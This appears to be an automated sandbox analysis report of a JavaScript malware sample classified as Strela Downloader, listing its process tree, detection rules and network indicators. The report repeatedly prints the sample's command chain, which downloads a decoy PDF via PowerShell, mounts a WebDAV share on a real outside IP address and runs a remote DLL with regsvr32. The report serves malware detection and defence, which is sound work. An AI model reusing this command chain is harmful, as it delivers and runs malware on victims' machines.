Edit tour

Windows Analysis Report
24283946104055016.js

Overview

General Information

Sample name:	24283946104055016.js
Analysis ID:	1589030
MD5:	58fd3dfbdea59f73a9dbefd05ff34ea6
SHA1:	db31e895c1d525c92196bb2f366d17d712c664dd
SHA256:	2c466302afe340136de124e93ff85874137252248e1137622146c4df84741f4a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7016 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3428 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4312 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5796 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7224 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1604,i,2701009182133815951,15335121938958958030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4928 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1440 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1748 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7016	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4312, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4312, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ProcessId: 7016, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ProcessId: 3428, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ProcessId: 3428, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ProcessId: 3428, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ProcessId: 3428, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ProcessId: 3428, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ProcessId: 7016, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4312, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4928, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1748, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4928, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll, ProcessId: 3428, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 24283946104055016.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 24283946104055016.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1696053923.00000164B01FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1783099492.0000023A4AD5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1794582655.0000023A4AD08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1792309385.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795060766.0000023A4AD60000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1794674825.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1792309385.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1794674825.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%r
Source: net.exe, 00000006.00000002.1794582655.0000023A4AD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.2978698394.000002133BC11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1784292612.000002133BE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1784292612.000002133BE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1784292612.000002133BE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1784292612.000002133BE4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1784292612.000002133BEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1784292612.000002133BEC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1784292612.000002133BEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7016, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

